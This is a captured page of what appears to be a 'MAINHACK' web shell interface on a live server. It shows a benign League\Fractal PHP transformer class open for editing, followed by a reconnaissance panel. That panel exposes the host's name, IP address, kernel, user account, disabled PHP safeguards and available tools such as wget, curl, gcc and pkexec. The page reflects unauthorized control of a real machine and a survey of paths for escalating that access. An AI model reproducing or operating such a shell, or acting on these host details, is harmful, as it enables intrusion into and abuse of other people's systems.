[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TransformerAbstract.php
<?php /* * This file is part of the League\Fractal package. * * (c) Phil Sturgeon <me@philsturgeon.uk> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace League\Fractal; use League\Fractal\Resource\Collection; use League\Fractal\Resource\Item; use League\Fractal\Resource\NullResource; use League\Fractal\Resource\Primitive; use League\Fractal\Resource\ResourceInterface; /** * All Transformer classes should extend this to utilize the convenience methods * collection() and item(), and make the self::$availableIncludes property available. * Extend it and add a `transform()` method to transform any default or included data * into a basic array. */ abstract class TransformerAbstract { /** * Resources that can be included if requested. */ protected array $availableIncludes = []; /** * Include resources without needing it to be requested. */ protected array $defaultIncludes = []; /** * The transformer should know about the current scope, so we can fetch relevant params. */ protected ?Scope $currentScope = null; /** * Getter for availableIncludes. */ public function getAvailableIncludes(): array { return $this->availableIncludes; } /** * Getter for defaultIncludes. */ public function getDefaultIncludes(): array { return $this->defaultIncludes; } /** * Getter for currentScope. */ public function getCurrentScope(): ?Scope { return $this->currentScope; } /** * Figure out which includes we need. */ private function figureOutWhichIncludes(Scope $scope): array { $includes = $this->getDefaultIncludes(); foreach ($this->getAvailableIncludes() as $include) { if ($scope->isRequested($include)) { $includes[] = $include; } } foreach ($includes as $include) { if ($scope->isExcluded($include)) { $includes = array_diff($includes, [$include]); } } return $includes; } /** * This method is fired to loop through available includes, see if any of * them are requested and permitted for this scope. * * @internal * * @param mixed $data * * @return array|false */ public function processIncludedResources(Scope $scope, $data) { $includedData = []; $includes = $this->figureOutWhichIncludes($scope); foreach ($includes as $include) { $includedData = $this->includeResourceIfAvailable( $scope, $data, $includedData, $include ); } return $includedData === [] ? false : $includedData; } /** * Include a resource only if it is available on the method. * * @param mixed $data */ private function includeResourceIfAvailable( Scope $scope, $data, array $includedData, string $include ): array { if ($resource = $this->callIncludeMethod($scope, $include, $data)) { $childScope = $scope->embedChildScope($include, $resource); if ($childScope->getResource() instanceof Primitive) { $includedData[$include] = $childScope->transformPrimitiveResource(); } else { $includedData[$include] = $childScope->toArray(); } } return $includedData; } /** * Call Include Method. * * @internal * * @param mixed $data * * @throws \Exception * * @return \League\Fractal\Resource\ResourceInterface|false */ protected function callIncludeMethod(Scope $scope, string $includeName, $data) { $scopeIdentifier = $scope->getIdentifier($includeName); $params = $scope->getManager()->getIncludeParams($scopeIdentifier); // Check if the method name actually exists $methodName = 'include'.str_replace( ' ', '', ucwords(str_replace( '_', ' ', str_replace( '-', ' ', $includeName ) )) ); $resource = call_user_func([$this, $methodName], $data, $params); if ($resource === null) { return false; } if (! $resource instanceof ResourceInterface) { throw new \Exception(sprintf( 'Invalid return value from %s::%s(). Expected %s, received %s.', __CLASS__, $methodName, 'League\Fractal\Resource\ResourceInterface', is_object($resource) ? get_class($resource) : gettype($resource) )); } return $resource; } /** * Setter for availableIncludes. */ public function setAvailableIncludes(array $availableIncludes): self { $this->availableIncludes = $availableIncludes; return $this; } /** * Setter for defaultIncludes. */ public function setDefaultIncludes(array $defaultIncludes): self { $this->defaultIncludes = $defaultIncludes; return $this; } /** * Setter for currentScope. */ public function setCurrentScope(Scope $currentScope): self { $this->currentScope = $currentScope; return $this; } /** * Create a new primitive resource object. * * @param mixed $data * @param callable|null $transformer */ protected function primitive($data, ?callable $transformer = null, ?string $resourceKey = null): Primitive { return new Primitive($data, $transformer, $resourceKey); } /** * Create a new item resource object. * * @param mixed $data * @param TransformerAbstract|callable $transformer */ protected function item($data, $transformer, ?string $resourceKey = null): Item { return new Item($data, $transformer, $resourceKey); } /** * Create a new collection resource object. * * @param mixed $data * @param TransformerAbstract|callable $transformer */ protected function collection($data, $transformer, ?string $resourceKey = null): Collection { return new Collection($data, $transformer, $resourceKey); } /** * Create a new null resource object. */ protected function null(): NullResource { return new NullResource(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002